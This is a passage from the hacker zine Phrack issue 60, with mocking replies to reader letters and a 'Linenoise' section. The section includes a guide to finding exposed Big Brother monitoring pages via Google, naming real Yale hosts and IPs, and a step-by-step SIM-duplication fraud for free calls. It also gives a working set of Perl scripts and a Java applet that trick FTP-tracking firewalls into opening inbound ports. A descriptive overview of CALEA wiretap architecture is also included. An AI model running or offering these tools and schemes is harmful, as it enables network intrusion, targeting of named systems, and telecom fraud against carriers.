I don't have $1100 to $2500 to spend on Call Accounting Software and I don't need all those bells and whistles anyway. I just need to keep track of who the people are talking to, what time, what extension, whether its outbound or inbound, etc. The company has an Avaya (Lucent) Merlin Magix PBX system. By tracking who they call I can establish that they are indeed guilty of harrassment against my paranoid little butt.

Got any ideas? gentle....but pissed at the organization.

[ Are you sure that noone of your coworkers watched this email? ]

|=[ 0x05 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: domino@hush.com

can I please get those zines in zip format, they are interesting, but I use windows. If not, can you complete the articles? I was reading one, and it was in txt and it said 9 of 10. there was no link to the 10th article. this happened many times with different ones. Yeah anyways, I would be nice to have those as zip files for those who don't have linux as would many others, or at least fix the links. (not much of a problem just missing a page) Great magazine, I just wish that I could complete it. thanx.

[ (man winzip) || (man google) || (man brain) || (man life) || (man gun) ]

|=[ 0x06 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "melissa royer" <melissa.royer@verizon.net>

Hello

I am having some trouble compiling the code extracted from your site. I have the code on linux RH 7.3 Is this the problem??

[root@lenny Loki]# make linux

make[1]: *** [surplus.o] Error 1

make[1]: Leaving directory `/loki/loki2/Loki'

make: *** [linux] Error 2

[ I swear this dood^H^H^H^H Melissa really tried to compile that 7 years old source from p49. Unless we turn into a red‑hat‑gcc‑problems‑support‑center will we not give any hints. Rumours about any fusion on the latter topic can not be confirmed or denied at this point. ]

|=[ 0x07 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ someone with a 'new' and 'unbreakable' crytpo idea of his own ]

[ blah blah ] ...didn't know Applied Cryptography, thanks for the link. [ blah blah ] ...one time pad are maybe not very usefull but they are for hackers ...[ blah blah ]. When a friend of mine rooted NASA i used one‑time pads to tell my other friends [ blah blah blah ].

[ So what's your general recommendation then? That we should banish blowfish and use one‑time‑pad's because they are..err..better when we want to tell our...err..friends that we ..err..hacked NASA? hu? ]

|=[ 0x08 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "Bowman, Michael" <Michael.Bowman@ed.gov>

SUBSCRIBE Phrack

[ Dear Government Of Education, you failed to subscribe where your our schoolars already succeeded. Please ask your classmate if you have any further problems. We are awaiting your second trial until next monday or we are urget to inform the director about your lack of success. ]

|=[ 0x09 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ from web comments to phrack 3‑9, 2002‑11‑07

FromL laipie@ms14.url.com.tw

Hello

I want to download some material from your website.

[ Our links are protected by some kind of intelligent checker. You have to press ALT‑Q while clicking on the link (quickly!). ]

|=[ 0x0a ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "Dustin Smith" <dustinsmith01@hotmail.com>

Subject: The unfortunate life...

Well you may know me as the "script kiddy" but lately i ma having illusions of Grandure and am aspiring to be...I dont dare say it cuz I am stillso far off but yet so close. So a subsription to your Holy grail will be just peaches...In all humbleness of the greatness that is possed by few I bid you adue...

[ THIS IS NOT MADE UP! We really get these kind of emails! ]

________________________________________

Broadband? Dial‑up? Get reliable MSN Internet Access.

[ Get a brain first! ]

|=[ 0x0b ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "Princess Of Darkness" <broken_flowers@hotmail.com> Subject: symantec

uhh... hello.

::waves::

My name's Rosie. hi. I really actually know very little to nothing about hacking.. and it'd like to know more. I know links, websites, etc. etc.

[ That's a beginning!

Lesson2: "How do I read the website".

Lesson3: "How do I understand the website"

Lesson4: "How do I utilize the website"

Lesson5: "How do I hire for a lawyer"

Lesson6: "How do I escape the feds" ]

but when you can't even write html it makes things a little difficult. God I feel so retarded. don't laugh. I'm a lam0r, i know.

[ The real reason why phrack comes as .txt is because noone knows this < > ‑thingie either. ]

anyway, thanks a lot for like.. reading this...

[ thanks a lot for like.. writing this... ]

and uh.. don't find out where i live.. cos that's.. scary.. O.o;;

adios

~0513~

|=[ 0x0c ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: anthony charles <bemoeasy@yahoo.com>

Subject: EAGER STUDENT

Dear editor,

i was directed by somebody i met online that i should

contact your mag about being a hacker.I'm resident in Nigeria,West Africa. i would be very grateful if you

can assist me because it has been my dream to be a

hacker.

The users in the hackers lounge in yahoo chat are too

fast for me. i need to learn the rudiments of becoming

a hacker.Every start's somewhere...this is where i

start if you would honor me by imparting knwledge to

an eager student.

Awaiting your reply.

yours sincerely

Anthony Charles

[ no comment ]

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Linenoise

==Phrack Inc.==

Volume 0x0b, Issue 0x3c, Phile #0x03 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L I N E N O I S E ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ The Dark Side of NTFS

2 ‑ Watching Big Brother

3 ‑ Free mobile calls

4 ‑ Lawfully Authorized Electronic Surveillance [LAES]

5 ‑ Java Tears down the Firewall

‑‑[ 1 ‑ The Dark Side of NTFS

Ok, this didnt fit anywhere else so we put it here:

http://patriot.net/~carvdawg/docs/dark_side.html

‑‑[ 2 ‑ Watching Big Brother

by da_knight <x667576616a6e@yahoo.com>

Have you ever wanted to be the one doing the watching? If you are a system administrator of UNIX / Linux servers, then you may be aware of a product called Big Brother, which can be downloaded from 'http://bb4.com/'.

This article is by no means technical, simply because it doesn't need to be. It is divided into two sections, so bear with me for the briefing on Big Brother (BB).

BB is a program that will monitor various computer equipment; things it can monitor are connectivity, cpu utilization, disk usage, ftp status, http status, pop3 status, etc. As you might imagine, this information is very important to an organization. BB is your standard client / server setup. The server software can run on various flavors of UNIX, Linux and NT. The client software is available for UNIX, Linux, NT, Mac, Novell, AS/400, and VAXEN; some client software is provided by 3rd‑party vendors and not supported by BB4 Technologies.

The cool thing about this is all of this information is viewed on a web page. So, if you have multiple servers that you have to maintain, with this product you would be able to go to one web page and quickly get a status of all of those servers ‑ pretty handy. When everything is fine your status is "green", major problems are indicated by "red".

Example: The connectivity (conn) status is done by pinging the equipment in question; if the ping fails then it would appear as a red zit on the web page. When tests such as this fail, BB can be configured to automatically page the administrator.

Here is a quick run down of the statuses, listed in order of severity:

red ‑ Trouble; you've got problems.

purple ‑ No report; the client hasn't responded in the last 30 minutes. yellow ‑ Attention; a threshold has been crossed.

green ‑ OK; take the day off.

clear ‑ Unavailable; the test has been turned off.

blue ‑ Disabled; notification for this test has been turned off.

The status is also reflected in the title of the web page, so it only takes one red zit to cause the web page title to start with "red:Big Brother"; we're going to get into this in a minute.

A common thing for administrators to do is to monitor their most important systems with this product, as well as the most important aspects of each system. If you have a web server, you would want to monitor the http and conn statuses just to make sure people are still able to connect to the server. Other tests I have seen are to check Oracle, or to list all connected users. Hell, they even have a way to add weather reports. The point is, it's pretty limitless what can be monitored, it just depends on what you deem important.

Now that you have a little bit of an understanding what BB can do, I want to quote two things from BB4 Technologies (BB4) FAQ ‑ Section 5: Security Considerations (http://bb4.com/bb/help/bb‑faq.html#5.0).

Everything in that section of the FAQ should be considered, but we'll focus on these two.

"BB does not need to run as root. We suggest creating a user 'bb' and running bb as that user." "We recommend password‑protecting the Big Brother web pages"

So, you ask yourself, why are these things important to me? Well, one, you know that administrators who run this software probably have it setup using the user 'bb', and that they may also be running it with root level access. This gives you a valid user account on a system and this account probably wouldn't be used by a human very often so the password could be something simple. But that's not the point of this article. The second thing is that BB4 realizes the information on these web pages is extremely important and they recommend password‑protecting them.

Following this logic you then say these are web pages, so it's running on a web server and if they're not password‑protected and the server is visible to the WWW, then...that's right search engines will find these pages and serve them up when you know what to look for.

What are you waiting for? Go to 'http://www.google.com' and search for

"green:Big Brother" (include the quotes; it makes it more refined). You will get about 16,200 matches. Now that doesn't mean that those are all unique because it will have numerous pages from the same site, but you get the point. I would estimate that there are over 200 sites that can be viewed this way. Remember to search for all the other statuses too, just change the name of the color. One more thing, I chose Google for a reason. Some of these sites no longer run the BB product, but Google has a nice ability to view cached pages, so you can still glean information from them.

After you scroll through the list of sites you will realize that the majority of them are either small ISP's or colleges. I'm going to pick on a college, an Ivy League one, no less. I can tell you from looking at this particular BB site that the BB server is running on a computer called 'artemis.cs.yale.edu' and the IP address is '128.36.232.57'. Also the computer 'rhino.zoo.cs.yale.edu' is having some serious issues. How did I find the IP address? Simple; if you click on the "green" or whatever color button under the "conn" column, you will see a web page that has information similar to this:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

rhino.zoo.cs.yale.edu ‑ conn

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

green Sun Jun 30 01:33:15 EDT 2002 Connection OK PING 128.36.232.12 (128.36.232.12) from 128.36.232.57 : 56(84) bytes of data. 64 bytes from 128.36.232.12: icmp_seq=0 ttl=255 time=379 usec

‑‑‑ 128.36.232.12 ping statistics ‑‑‑

1 packets transmitted, 1 packets received, 0% packet loss round‑trip min/avg/max/mdev = 0.379/0.379/0.379/0.000 ms

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Right there you know that the ping command was trying to ping '128.36.232.12', in this case, 'rhino.zoo.cs.yale.edu' and that it came from '128.36.232.57' or 'artemis.cs.yale.edu'. Let's see what else we can find out.

I can see that almost all of their servers run Tripwire, so they are UNIX systems, and you probably would have a hard time creating a backdoor account on these systems. On another page, we get to see the users who are currently logged in. Currently we have 33 users logged in, and seeing as it's 1:33 AM, I think some people left their computers logged in.

I want to get more information about Yale's servers, so let's go back to Google and look for another page from Yale, but this time look for 'zelda.cs.yale.edu'. Now we can get some good information. When this site is displayed you will see quite a few servers, listed as well as several departments. If you want to know what software 'plucky.cs.yale.edu' is using to run it's HTTP services just click on the 'green' button:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

plucky.cs.yale.edu ‑ http

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

green Sun Jun 30 01:45:21 EDT 2002

http://plucky.cs.yale.edu ‑ Server OK

HTTP/1.1 200 OK

Server: Microsoft‑IIS/4.0

Content‑Location: http://plucky.cs.yale.edu/index.html Date: Sun, 30

Jun 2002 05:45:21 GMT

Content‑Type: text/html

Accept‑Ranges: bytes

Last‑Modified: Tue, 12 Jan 1999 20:49:40 GMT ETag: "54b4ec126d3ebe1:4051"

Content‑Length: 2226

Seconds: 0.01

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

What the hell? They're actually running IIS 4.0? Don't they know how insecure that is? But I digress. From that information you know that the server is some version of Windows NT and it has IIS 4.0 running, that could be handy.

Zelda is also showing they monitor printers. Now that can be fun; what if the message "I think therefore I hack!" is sent to the printer 'philo‑printer.philosophy.yale.edu'? And in case you're wondering, the printer is an 'HP LaserJet 4050 Series'; I just had to click on the button under the "printer" column to find that out.

Elsewhere on this same site, I find that several servers are running TELNET, POP3, Oracle, FTP, and IMAP. Most of these services will gladly tell you what version of the software they are running. Oracle, for instance, is even nice enough to show you all of the connected users. How can you thank them enough for this valuable information?

Also, it seems only the geologists at Yale feel they have data that is of great importance. I wasn't able to view what they monitor because of access permissions on their web site, but I do know that they are running their web server on Apache version 1.3.26.

As you can see, I would be able to gather an enormous amount of vital infrastructure data in a few minutes. Plus, I didn't break any laws. These web pages are posted in a manner that the entire world can view them. It might take someone 10 minutes or more to find out a few facts about 1 particular system, but in that amount of time I found numerous facts about over 40 systems at the same organization. Thanks Big Brother!

I feel it should be mentioned that the information found on these web pages is information that most organizations don't even let employees outside of the IT department see. I guess I should feel special since Yale must feel that I'm not a security risk, otherwise they would have made me authenticate to their web sites.

Imagine this; an ISP that lists all of their routers complete with IP's and model information. If you had that, you could possibly rely on vulnerabilities in SNMP discovered earlier this year, or better yet, rely on the default accounts / passwords setup on these types of devices. I only bring this up because I know I did come across an ISP that did list routers and the majority of the sites returned by Google seemed to be smaller ISPs.

Also, about searching on Google, I would recommend searching for "red:Big Brother", because these pages will always give you more information than when the system is running perfectly.

Finally, I didn't write this article to condone breaking into systems and providing a means to that end. I wrote this because security is extremely important; with the information that is found because of this one product your environment could be compromised. If you are a system administrator for a site that shows up on Google you may want to secure your BB web pages, because by the time you read this the world is going to know your infrastructure.

‑‑[ 3 ‑ Free Mobile Calls

by eurinomo

This bug can be utilized to make FREE CALS, FREE SMS, and even FREE WAP.

1st you have to see if you mobile network has the bug. Just call the service free number (to don't waste money) and say to them that you card is locked that you forgot your fone in your litle syster's room and your mobile says "Sim Card is lock" or something, say that maybe yor sister have wronged the puk because the phone was powered off and now it's on. Then the guy must say that you have to go to one of theyr Mobile Shops and say the problem and they will give you another card with the same number and money as the old. Ask them how much it will cost and the guy must say it's for free! :‑)

Now the Matirial that youl need:

‑ A mobile phone not nokia (it's better to be yours and not unlocked) ‑ And a nokia(can be a unlocked 1 or steled or borrowed. Do as you wish!)

How to do it:

Mobile1 = Not nokia

Mobile2 = Nokia

Put the card in the mobile1 and enter your pin. When it booted up put this code 3 times:

**04*00000000*00000000*00000000#

or try

**05*00000000*00000000*00000000#

Check the manual and search for the code to change the puk if the above examples dont work. Or give a email to motorola and say that you have a motorola phone and that you want to change the puk and you know that is a code to change (the code isn't ilegal and it's also specified in the manual).

If the code isnt the one that i have telled is 1 nerby. If you have a motorola flare when you put **04* or **05* it'ill say "Enter the old Puk" or something like that automatly and then ask the new puk code 2 times. But the important is to lock your card, i think you can do it also if you wrong the pin 3 times and then enter a wrong puk and vuala it's locked! But what i was saing about the code it's was tested but you can try this last too, use it in your on risk.

Now goto the Mobile Shop and say what hapened (that your litle sister or a doughter of an friend of your mother or something like that...) And then they will dupicate the card and they will give you the new one and the old one. At last they normaly give the 2.

Now the easy part. Put the old card in the nokia and boot it up and you see thats not locked!!! and if you put on anoher phone not nokia its says that its locked, the Bug is a more nokia Bug that a network Bug. Now send a SMS with the old card and see if disconted money. Then see if was disconted from the new card if not than it's because the Network has the bug and you can waste the money off the old card as you wish but you only have 2 weeks or soo before they cut it out of the Network and it's completly lock, but the new card stil have the same money and you can do it again and again that i think they woldn't catch you.

This was tested in the Portugal Vodafone Mobile Phone Network.

‑‑[ 4 ‑ Introduction to Lawfully Authorized Electronic Surveillance (LAES)

by Mystic <mystic@lostways.net>

In 1994 Congress adopted the Communications Assistance for Law Enforcement Act (CALEA). It's intent was to preserve but not expand the wiretapping capabilities of law enforcement agencies by requiring telecommunication providers to utilize systems that would allow government agencies a basic level of access for the purpose of surveillance. The act however does not only preserve the already existing capabilities of law enforcement to tap communications, it enhances them, allowing the government to collect information about wireless callers, tap wireless content, text messing, and packet communications. The standard that resulted from this legislation is called Lawfully Authorized Electronic Surveillance or LAES.

A Telecommunications Service Provider (TSP) that is CALEA compliant provides means to access the fallowing services and information to Law Enforcement Agencies (LEAs):

1. Non‑call associated: Information about the intercept subjects that is not necessarily related to a call.

2. Call associated: call‑identifying information about calls involving the intercept subjects.

3. Call associated and Non‑call associated signaling information: Signaling information initiated by the subject or the network

4. Content surveillance: the ability to monitor the subjects' communications.

This process is called the intercept function. The intercept function is made up of 5 separate functions: access, delivery, collection, service provider administration, and law enforcement administration.

‑‑‑‑[ 4.1 The Access Function (AF)

The AF consists of one or more Intercept Access Points (IAPs) that isolate the subject's communications or call‑identifying information unobtrusively. There are several different IAPs that can be utilized in the intercept function. I have separated them into Call Associated and Non‑call Associated information IAPs and Content Surveillance IAPs:

Call Associated and Non‑call Associated information IAPs

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ Serving System IAP (SSIAP): gives non‑call associated information.

‑ Call‑Identifying Information IAP (IDIAP): gives call associated information and in the form of the fallowing call events for basic circuit calls:

Answer ‑ A party has answered a call attempt

Change ‑ The identity or identities of a call has changed Origination ‑ The system has routed a call dialed by the subject or the system has translated a number for the subject Redirection ‑ A call has been redirected (e.g., forwarded, diverted, or deflected)

Release ‑ The facilities for the entire call have been released TerminationAttempt ‑ A call attempt to an intercept subject has been detected

‑ Intercept Subject Signaling IAP (ISSIAP): provides access to subject‑initiated dialing and signaling information. This includes if the intercept subject uses call forwarding, call waiting, call hold, or three‑way calling. It also gives the LEA the ability to receive the digits dialed by the subject.

‑ Network Signaling IAP (NSIAP): Allows the LEA to be informed about network messages that are sent to the intercept subject. These messages include busy, reorder, ringing, alerting, message waiting tone or visual indication, call waiting, calling or redirection name/number information, and displayed text.

Content Surveillance IAPs

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The fallowing are content surveillance IAPs that transmit content using a CCC or CDC. An interesting note about content surveillance is that TSPs are not responsible for decrypting information that is encrypted by the intercept subject unless the data was encrypted by the TSP and the TSP has the means to decrypt it.

‑ Circuit IAP (CIAP): accesses call content of circuit‑mode communications.

‑ Conference Circuit IAP (CCIAP): Provides access to the content of subject‑initiated Conference Call services such as three‑way calling and multi‑way calling.

‑ Packet Data IAP (PDIAP): Provides access to data packets sent or received by the intercept subject.

These include the fallowing services:

ISDN user‑to‑user signaling

ISND D‑channel X.25 packet services

Short Message Services (SMS) for cellular and Personal Communication Services Wireless packet‑mode data services (e.g., Cellular Digital Packet Data (CDPD), CDMA, TDMA, PCS1900, or GSM‑based packet‑mode data services) X.25 services

TCP/IP services

Paging (one‑way or two‑way)

Packet‑mode data services using traffic channels

‑‑‑‑[ 4.2 The Delivery Function (DF)

The DF is responsible for delivering intercepted communications to one or more Collection Functions. This is done over two distinct types of channels: Call Content Channels (CCCs) and Call Data Channels (CDCs). The CCCs are generally used to transport call content such as voice or data communications. CCCs are either "combined" meaning that they carry transmit and receive paths on the same channel, or "separated" meaning that transmit and receive paths are carried on separate channels. The CDCs are generally used to transport messages which report

which is text based such as Short Message Service (SMS). Information over CDCs is transmitted using a protocol called the Lawfully Authorized Electronic Surveillance Protocol (LAESP).

‑‑‑‑[ 4.3 The Collection Function (CF)

The CF is responsible for collecting and analyzing intercepted communications and call‑identifying information and is the responsibility of the LEA.

‑‑‑‑[ 4.4 The Service Provider Administration Function (SPAF)

The SPAF is responsible for controlling the TSP's Access and Delivery Functions.

‑‑‑‑[ 4.5 The Law Enforcement Administration Function (LEAF)

The LEAF is responsible for controlling the LEA's Collection Function and is the responsibility of the LEA.

Now that I've introduced you to LAES lets look at an implementation of it that is on the market right now and is being used by some TSPs:

Overview of the CALEAserver:

The CALEAserver is manufactured by SS8 Networks. It is a collection and delivery system for call information and content. It allows existing networks to become completely CALEA compliant. It allows for a LEA to monitor wireless and wire line communications and gather information about the calls remotely. The CALEAserver interfaces with the network through Signaling System 7 (SS7) which is an extension of the Public Switched Telephone Network (PSTN). The CALEAserver is composed of three major layers: the Hardware Platform Layer, the Network Platform Layer and the Application Software Layer.

The Hardware Platform Layer consists of the Switching Matrix and the Computing Platform. The Switching Matrix is an industry standard programmable switch. It contains T1 cards for voice transmission and cross connect between switches, DSP cards for the conference circuits required for the intercept and DTMF reception/generation, and CPU cards for management of the switch. The Computing Platform is a simplex, rack mounted, UNIX based machine. It is used to run the CALEAserver application software that provides Delivery Function capabilities and controls the Switching Matrix.

The Network Platform Layer provides SS7 capability, as well as, call processing APIs for the Application Software Layer. It also controls the Switching Matrix.

The Application Software Layer is where the Delivery and Service Provider Administration functions are carried out. It isolates the interfaces towards the Access and Collection Functions from the main delivery functionality allowing for multiple Access and Collection Functions through the Interface Modules that can be added or modified without impacting the existing functionality.

System Capacity:

Configurable for up to:

1000 Collection functions

128 Access Function Interfaces

32 SS7 links

512 simultaneous call content intercepts on a single call basis

64 T1 voice facilities

Operating Environment:

NEBS compliant, ‑48 volt, 19" rack mounted equipment Next‑generation UltraSPARC processor

66‑MHz PCIbus

Solaris UNIX operating system

9Gbyte, 40‑MB/sec SCSI disks

512 Mbytes RAM standard

Ethernet/Fast Ethernet, 10‑BaseT and 100‑BaseT

Two RS‑232C/RS‑423 serial ports

Programmable, scalable switch with up to 4000 port time slot interchange

Features:

Built in test tools for remote testing

Full SS7 management system

Alarm reporting and Error logging

Automatic software fault recovery

Automatic or manual disk backup

SNMP support

Optional support for X.25 and other collection function interfaces ITU standard MML and Java based GUI support

Support of both circuit‑switched and packet‑switched networks Optional support for other access function interfaces as required for CALEA compliance, including:

*HLR (Home Location Register)

*VMS (Voice Mail System)

*SMS (Short Message System)

*CDPD wireless data

*Authentication Center

*Remote access provisioning

This concludes the introduction to LAES. This being only an introduction, I've left out allot of details like protocol information. However, if you are interested it learning more about LAES I would suggest reading the TIA standard J‑STD‑025A. I hope you learned a little bit more about the surveillance capabilities of LEAs. If you have any questions feel free to contact me. Email address: see above.

‑‑[ 5 ‑ Java tears down the Firewall

Recently there has been much hype about various

insecurities in firewalls which support tracking of FTP sessions. They could be tricked into thinking someone was opening an

FTP session by using a second TCP stack for example. I would

point you to CERT‑URL for complete discussion.

There have been other techniques discussed such as embedding

some evil tags in HTML files which makes the browser opening connections a firewall could interpret as FTP session.

Consider the following net:

[ Company ] ‑‑‑‑ [ firewall ] ‑‑‑ [ some router ] ‑‑‑ [ WEB ]

Someone from 'Company' is browsing the web and has to

pass his packets across some router that is not under control

by Company but by attacker. Very common scenario no?

A few tools have been compiled to circumvent such setup.

I would even say, as soon as you enable FTP tracking you are lost. More than one way ends in Rome.

Let me explain the small tools in short.

html‑redirect: Attacker installs this on some router and

sets up redirect rule to port 8888.

class‑inject: Attacker starts this with eftepe.class. html‑redirect will redirect the HTML requests to this mini‑httpd. It forces browser inside Company which is shielded by firewall to load

the Java applet. This applet simulates active FTP session to

some router and it is allowed so because security manager sees some router as origin of eftepe.class. Firewall will then open port 7350 inbound so you can connect from some router:20 to Company:7350.

ftpd: Attacker must run this on some router in order to simulate FTP session.

createclass: script to create the correct java code which is

using apropriate IP (of some router) and port (on Company) then

Attacker could also sit on WEB (i.e. phrack.org :) and embed evil java applets. So take care because X runs on port 6000. :‑)

It is really that simple, and its not even worth an own article, thats why you find it here as a add‑on.

<classinject>

#!/usr/bin/perl ‑w

# Puts a classfile into remote browser

#

use IO::Socket;

sub usage

{

print "Usage: $0 <class file>\n\n";

exit;

}

my $classfile = shift || usage();

my $class;

my $classlen = (stat($classfile))[7];

open I, "<$classfile" or die $!;

read I, $class, $classlen;

close I;

my $sock = new IO::Socket::INET‑>new(Listen => 10,

LocalPort => 8080,

Reuse => 1) or die $!;

my $conn;

for (;;) {

next unless $conn = $sock‑>accept();

if (fork() > 0) {

$conn‑>close();

next;

}

my $request = <$conn>;

if ($request =~ /$classfile/) {

my $classcontent = "HTTP/1.0 200 OK\r\n".

"Server: Apache/1.3.6 (Unix)\r\n".

"Content‑Length: $classlen\r\n".

"Content‑Type: application/octet‑stream\r\n\r\n".$class; print $conn $classcontent;

print "Injected to ", $conn‑>peerhost(), "\n";

} else {

print $conn "<HTML>".

"<APPLET CODE=\"$classfile\" WIDTH=1 HEIGHT=1>". "</APPLET></HTML>\r\n\r\n";

}

$conn‑>close();

exit(0);

}

</classinject>

<createclass>

#!/usr/bin/perl ‑w

$ENV{"PATH"} = $ENV{"PATH"}."/usr/lib/java/bin";

print "Creating apropriate Java class‑file for opeing port > 1023\n"; print "Enter IP to connect to on port 21 (e.g. '127.0.0.1'):";

my $ip = <STDIN>; chop($ip);

print "Enter port to open:";

my $port = <STDIN>; chop($port);

my $p1 = int $port/256;

my $p2 = $port%256;

open O, ">eftepe.java" or die $!;

print O<<EOF;

import java.io.*;

import java.applet.*;

import java.util.*;

import java.net.*;

public class eftepe extends Applet {

public void init()

{

try {

Socket s = new Socket("$ip", 21);

OutputStream os = s.getOutputStream();

BufferedReader in = new BufferedReader(new InputStreamReader(s.getInputStream())); PrintWriter pw = new PrintWriter(os, true);

in.readLine();

pw.println("USER ftp\\r\\n");

in.readLine();

pw.println("PASS ftp\\r\\n");

in.readLine();

String port = new String("PORT ");

String me = InetAddress.getLocalHost().getHostAddress();

port += me.replace('.', ',');

port += ",$p1,$p2\\r\\n";

pw.println(port);

for(;;);

} catch (Exception e) {

e.printStackTrace();

}

}

}

EOF

print "Compiling into classfile...\n";

system("javac eftepe.java");

print "Done. Results are in eftepe.class\n";

</createclass>

<ftpd>

#!/usr/bin/perl ‑w

use IO::Socket;

my $sock = new IO::Socket::INET‑>new(Listen => 10,

LocalPort => 21,

Reuse => 1) or die $!;

my $conn;

for (;;) {

$conn = $sock‑>accept();

if (fork() > 0) {

$conn‑>close();

next;

}

print $conn "220 ready\r\n";

<$conn>; # user

print $conn "331 Password please\r\n";

<$conn>; # pass

print $conn "230 Login successful\r\n";

<$conn>; #port

print $conn "200 PORT command successful.\r\n";

sleep(36);

$conn‑>close();

exit 0;

}

</ftpd>

<html‑redirect>

#!/usr/bin/perl ‑w

# Simple HTTP Redirector

#

# iptables ‑A PREROUTING ‑t nat ‑p tcp ‑‑dport 80 ‑j REDIRECT ‑‑to‑port 8888

use IO::Socket;

sub usage

{

print "Usage: $0 <IP|Host>\n".

"\t\tIP|Host ‑‑ IP or Host to redirect HTML reuests to\n\n"; exit;

}

my $r = shift || usage();

my $redir = "HTTP/1.0 301 Moved Permanently\r\n". "Location: http://$r:8080\r\n\r\n";

my $sock = new IO::Socket::INET‑>new(Listen => 10,

LocalPort => 8888,

Reuse => 1) or die $!;

my $conn;

for (;;) {

next unless $conn = $sock‑>accept();

if (fork() > 0) {

$conn‑>close();

next;

}

my $request = <$conn>;

print $conn "$redir";

$conn‑>close();

exit(0);

}

</html‑redirect>

<testconnect>

#!/usr/bin/perl ‑w

use IO::Socket;

sub usage

{

print "Usage: $0 <Host> <Port>\r\n";

exit 0;

}

my $a = shift || usage();

my $b = shift || usage();

my $conn = IO::Socket::INET‑>new(PeerAddr => $a,

PeerPort => $b,

LocalPort => 20,

Type => SOCK_STREAM,

Proto => 'tcp') or die $!;

print $conn "GOTCHA\r\n";

$conn‑>close();

</testconnect>

<conntrack‑start>

#!/bin/sh

# sample FTP session tracked firewall for 2.4 linux kernels

# modprobe ip_conntrack_ftp

iptables ‑F

iptables ‑A INPUT ‑p tcp ‑‑sport 21 ‑m state ‑‑state ESTABLISHED ‑j ACCEPT iptables ‑A OUTPUT ‑p tcp ‑‑dport 21 ‑m state ‑‑state NEW,ESTABLISHED ‑j ACCEPT

iptables ‑A INPUT ‑p tcp ‑‑sport 20 ‑m state ‑‑state ESTABLISHED,RELATED ‑j ACCEPT iptables ‑A OUTPUT ‑p tcp ‑‑dport 20 ‑m state ‑‑state ESTABLISHED ‑j ACCEPT

#iptables ‑A INPUT ‑p tcp ‑‑syn ‑j LOG

iptables ‑A INPUT ‑p tcp ‑‑syn ‑j DROP

</conntrack‑start>

Toolz Armory

==Phrack Inc.==

Volume 0x0b, Issue 0x3c, Phile #0x04 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ T O O L Z A R M O R Y ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑=[ packetstorm <http://www.packetstormsecurity.org> ]=‑‑‑‑‑‑‑=|

This new section, Phrack Toolz Armory, is dedicated to tool annoucements. We will showcast selected tools of relevance to the computer underground which have been released recently. The tools for #60 have been selected in teamwork by the Packet Storm staff and Phrack staff.

Drop us a mail if you develop something that you think is worth of being mentioned here.

1 ‑ nmap 3.1 Statistics Patch

2 ‑ thc‑rut

3 ‑ Openwall GNU/*/Linux (Owl) 1.0

4 ‑ Stealth Kernel Patch

5 ‑ Memfetch

6 ‑ Lcrzoex

‑‑‑‑[ 1 ‑ NMAP 3.1 Statistics Patch

URL : http://packetstormsecurity.org/UNIX/nmap/nmap‑3.10ALPHA4_statistics‑1.diff

Author : vitek[at]ixsecurity.com

